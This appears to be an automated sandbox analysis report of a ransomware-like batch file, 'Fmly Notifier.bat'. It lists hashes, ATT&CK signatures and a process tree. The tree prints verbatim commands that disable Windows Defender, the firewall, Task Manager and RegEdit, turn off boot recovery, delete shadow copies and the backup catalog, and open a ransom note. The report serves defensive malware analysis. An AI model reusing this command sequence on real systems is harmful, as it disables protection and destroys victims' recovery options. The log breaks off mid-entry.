edf5ab8e797cdc6365b95b8c7e42d438da1b6ef030db2c18b2d91b50e5555abb

Analysis

user interaction
yes
max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Fmly Notifier.bat
Size 3KB
Sample260930-jdvj3avzcs
SHA256 edf5ab8e797cdc6365b95b8c7e42d438da1b6ef030db2c18b2d91b50e5555abb
MD5 e623f2630540b4eabff6f7526b2700c7
SHA1 607db4ba5b7325b3099f404ab1fbe739aeb701c3
SHA512 f3f9cc0d1fdd5093dd5288e459a047be340a3dacea24b07456fd0c47629e6520d2c125cb6a6cb3a736a80063ef17ca5b75b802189e1d01e3414c0e3941961cb2
TLSH
T11371A5233E481E1BD056A594E4EB8602B7E9A18BB0577FF1A5C430D820672C5477AECE
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery evasion execution impact persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
6020	bcdedit.exe
4700	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5668	wbadmin.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3604	netsh.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	firefox.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	firefox.exe

Drops file in System32 directory 43 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\config\SECURITY.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI	attrib.exe
File opened for modification	C:\Windows\System32\config\BCD-Template	attrib.exe
File opened for modification	C:\Windows\System32\config\BCD-Template.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\SECURITY.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\SYSTEM	attrib.exe
File opened for modification	C:\Windows\System32\config\SYSTEM.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\BCD-Template.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS{2ad838a4-efea-11ee-a54d-000d3a94eaa1}.TM.blf	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS{2ad838a4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS	attrib.exe
File opened for modification	C:\Windows\System32\config\DEFAULT	attrib.exe
File opened for modification	C:\Windows\System32\config\ELAM.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\userdiff.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TM.blf	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\SAM.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\SAM.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\COMPONENTS.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\DEFAULT.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\ELAM	attrib.exe
File opened for modification	C:\Windows\System32\config\ELAM.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\BBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TM.blf	attrib.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\SYSTEM.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\userdiff.LOG2	attrib.exe
File opened for modification	C:\Windows\System32\config\BCD-Template.LOG	attrib.exe
File opened for modification	C:\Windows\System32\config\DEFAULT.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS.LOG1	attrib.exe
File opened for modification	C:\Windows\System32\config\DRIVERS{2ad838a4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms	attrib.exe
File opened for modification	C:\Windows\System32\config\userdiff	attrib.exe
File opened for modification	C:\Windows\System32\config\SAM	attrib.exe
File opened for modification	C:\Windows\System32\config\SECURITY	attrib.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4188	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Checks processor information in registry 2 TTPs 17 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1592	vssadmin.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "NoBatch "	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\NoExecutable	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\NoExecutable\Shell	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe\ = "NoExecutable "	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "NoCmd "	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\NoExecutable\Shell\Open	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\NoExecutable\Shell\Open\Command	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\NoExecutable\Shell\Open\Command\ = "\"\" "	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\Local Settings	OpenWith.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1200	notepad.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5620	WMIC.exe
5620	WMIC.exe
5620	WMIC.exe
5620	WMIC.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

description	pid	Process
Token: SeBackupPrivilege	4616	vssvc.exe
Token: SeRestorePrivilege	4616	vssvc.exe
Token: SeAuditPrivilege	4616	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5620	WMIC.exe
Token: SeSecurityPrivilege	5620	WMIC.exe
Token: SeTakeOwnershipPrivilege	5620	WMIC.exe
Token: SeLoadDriverPrivilege	5620	WMIC.exe
Token: SeSystemProfilePrivilege	5620	WMIC.exe
Token: SeSystemtimePrivilege	5620	WMIC.exe
Token: SeProfSingleProcessPrivilege	5620	WMIC.exe
Token: SeIncBasePriorityPrivilege	5620	WMIC.exe
Token: SeCreatePagefilePrivilege	5620	WMIC.exe
Token: SeBackupPrivilege	5620	WMIC.exe
Token: SeRestorePrivilege	5620	WMIC.exe
Token: SeShutdownPrivilege	5620	WMIC.exe
Token: SeDebugPrivilege	5620	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5620	WMIC.exe
Token: SeRemoteShutdownPrivilege	5620	WMIC.exe
Token: SeUndockPrivilege	5620	WMIC.exe
Token: SeManageVolumePrivilege	5620	WMIC.exe
Token: 33	5620	WMIC.exe
Token: 34	5620	WMIC.exe
Token: 35	5620	WMIC.exe
Token: 36	5620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5620	WMIC.exe
Token: SeSecurityPrivilege	5620	WMIC.exe
Token: SeTakeOwnershipPrivilege	5620	WMIC.exe
Token: SeLoadDriverPrivilege	5620	WMIC.exe
Token: SeSystemProfilePrivilege	5620	WMIC.exe
Token: SeSystemtimePrivilege	5620	WMIC.exe
Token: SeProfSingleProcessPrivilege	5620	WMIC.exe
Token: SeIncBasePriorityPrivilege	5620	WMIC.exe
Token: SeCreatePagefilePrivilege	5620	WMIC.exe
Token: SeBackupPrivilege	5620	WMIC.exe
Token: SeRestorePrivilege	5620	WMIC.exe
Token: SeShutdownPrivilege	5620	WMIC.exe
Token: SeDebugPrivilege	5620	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5620	WMIC.exe
Token: SeRemoteShutdownPrivilege	5620	WMIC.exe
Token: SeUndockPrivilege	5620	WMIC.exe
Token: SeManageVolumePrivilege	5620	WMIC.exe
Token: 33	5620	WMIC.exe
Token: 34	5620	WMIC.exe
Token: 35	5620	WMIC.exe
Token: 36	5620	WMIC.exe
Token: SeBackupPrivilege	4068	wbengine.exe
Token: SeRestorePrivilege	4068	wbengine.exe
Token: SeSecurityPrivilege	4068	wbengine.exe
Token: SeDebugPrivilege	2912	firefox.exe
Token: SeDebugPrivilege	2912	firefox.exe
Token: SeDebugPrivilege	2912	firefox.exe
Token: SeDebugPrivilege	2912	firefox.exe
Token: SeDebugPrivilege	2912	firefox.exe
Token: SeDebugPrivilege	2912	firefox.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2912	firefox.exe
2912	firefox.exe
2912	firefox.exe
2912	firefox.exe
2912	firefox.exe
2912	firefox.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2388	OpenWith.exe
2912	firefox.exe
3600	OpenWith.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4188 wrote to memory of 4824	4188	cmd.exe	90
PID 4824 wrote to memory of 4768	4824	net.exe	91
PID 4188 wrote to memory of 1200	4188	cmd.exe	92
PID 4188 wrote to memory of 3504	4188	cmd.exe	93
PID 4188 wrote to memory of 3312	4188	cmd.exe	94
PID 4188 wrote to memory of 5576	4188	cmd.exe	95
PID 4188 wrote to memory of 1676	4188	cmd.exe	96
PID 4188 wrote to memory of 712	4188	cmd.exe	97
PID 4188 wrote to memory of 1240	4188	cmd.exe	98
PID 4188 wrote to memory of 5936	4188	cmd.exe	100
PID 5936 wrote to memory of 2644	5936	net.exe	101
PID 4188 wrote to memory of 4564	4188	cmd.exe	102
PID 4564 wrote to memory of 708	4564	net.exe	103
PID 4188 wrote to memory of 3604	4188	cmd.exe	104
PID 4188 wrote to memory of 3180	4188	cmd.exe	105
PID 4188 wrote to memory of 432	4188	cmd.exe	106
PID 4188 wrote to memory of 2776	4188	cmd.exe	107
PID 4188 wrote to memory of 6020	4188	cmd.exe	108
PID 4188 wrote to memory of 4700	4188	cmd.exe	109
PID 4188 wrote to memory of 1592	4188	cmd.exe	110
PID 4188 wrote to memory of 5620	4188	cmd.exe	113
PID 4188 wrote to memory of 5668	4188	cmd.exe	115
PID 4188 wrote to memory of 4396	4188	cmd.exe	119
PID 2388 wrote to memory of 1916	2388	OpenWith.exe	123
PID 1916 wrote to memory of 2912	1916	firefox.exe	124
PID 1916 wrote to memory of 2912	1916	firefox.exe	124
PID 2912 wrote to memory of 2820	2912	firefox.exe	125
PID 2912 wrote to memory of 2820	2912	firefox.exe	125
PID 2912 wrote to memory of 2820	2912	firefox.exe	125
PID 2912 wrote to memory of 5608	2912	firefox.exe	126
PID 2912 wrote to memory of 5608	2912	firefox.exe	126
PID 2912 wrote to memory of 5608	2912	firefox.exe	126
PID 2912 wrote to memory of 5608	2912	firefox.exe	126
PID 2912 wrote to memory of 4716	2912	firefox.exe	127
PID 2912 wrote to memory of 4716	2912	firefox.exe	127
PID 2912 wrote to memory of 4716	2912	firefox.exe	127
PID 2912 wrote to memory of 4716	2912	firefox.exe	127
PID 2912 wrote to memory of 400	2912	firefox.exe	128
PID 2912 wrote to memory of 400	2912	firefox.exe	128
PID 2912 wrote to memory of 400	2912	firefox.exe	128
PID 2912 wrote to memory of 5128	2912	firefox.exe	129
PID 2912 wrote to memory of 5128	2912	firefox.exe	129
PID 2912 wrote to memory of 5128	2912	firefox.exe	129
PID 2912 wrote to memory of 5128	2912	firefox.exe	129
PID 2912 wrote to memory of 5616	2912	firefox.exe	130
PID 2912 wrote to memory of 5616	2912	firefox.exe	130
PID 2912 wrote to memory of 5616	2912	firefox.exe	130
PID 2912 wrote to memory of 5616	2912	firefox.exe	130
PID 3600 wrote to memory of 1468	3600	OpenWith.exe	132
PID 1468 wrote to memory of 4968	1468	firefox.exe	133
PID 1468 wrote to memory of 4968	1468	firefox.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4396	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fmly Notifier.bat"
1⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4188
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4768
- C:\Windows\system32\notepad.exe
  notepad.exe "C:\Users\Public\Desktop\NOTICE.txt"
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1200
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
  2⤵
  PID:3504
- C:\Windows\system32\reg.exe
  reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
  2⤵
  PID:3312
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:5576
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1676
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:712
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1240
- C:\Windows\system32\net.exe
  net stop WinDefend /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend /y
    3⤵
    PID:2644
- C:\Windows\system32\net.exe
  net stop wscsvc /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wscsvc /y
    3⤵
    PID:708
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3604
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3180
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:432
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:2776
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6020
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4700
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1592
- C:\Windows\System32\Wbem\WMIC.exe
  wmic shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5620
- C:\Windows\system32\wbadmin.exe
  wbadmin delete catalog -quiet
  2⤵
  - Deletes backup catalog
  PID:5668
- C:\Windows\system32\attrib.exe
  attrib -h -r -s C:\Windows\System32\config\*
  2⤵
  - Drops file in System32 directory
  - Views/modifies file attributes
  PID:4396

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4616

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4068

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4644

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3644

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    - Drops desktop.ini file(s)
    - Checks processor information in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2912
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2540 -prefsLen 24445 -prefMapHandle 2544 -prefMapSize 268500 -ipcHandle 2616 -initialChannelId {0d36d5b5-2ce7-41e6-88f3-0bc43cb3a905} -parentPid 2912 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2912" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
      4⤵
      PID:2820
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2856 -prefsLen 24445 -prefMapHandle 2860 -prefMapSize 268500 -ipcHandle 2868 -initialChannelId {fa717b18-21ae-46c5-b859-504f2973c138} -parentPid 2912 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2912" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
      4⤵
      PID:5608
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1808 -prefsLen 24883 -prefMapHandle 1988 -prefMapSize 268500 -jsInitHandle 1780 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1948 -initialChannelId {fde2f180-ea49-4137-a7f6-aea9818ef9e4} -parentPid 2912 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2912" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
      4⤵
      Checks processor information in registry
      PID:4716
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3776 -prefsLen 25767 -prefMapHandle 3780 -prefMapSize 268500 -ipcHandle 3852 -initialChannelId {74167ed5-e94a-4d67-8d00-36a9a57ee564} -parentPid 2912 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2912" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
      4⤵
      PID:400
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4112 -prefsLen 25829 -prefMapHandle 4116 -prefMapSize 268500 -jsInitHandle 4120 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4128 -initialChannelId {5495bf65-283f-4518-ab0f-00c99c71c69f} -parentPid 2912 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2912" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:5128
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4680 -prefsLen 26054 -prefMapHandle 4684 -prefMapSize 268500 -jsInitHandle 4688 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4696 -initialChannelId {58135b80-16eb-4533-83ac-eae3418afaf1} -parentPid 2912 -crashReporter "\\.\pipe\gecko-crash-server-pipe.2912" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:5616

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3600
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Program Files\Mozilla Firefox\private_browsing.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Program Files\Mozilla Firefox\firefox.exe
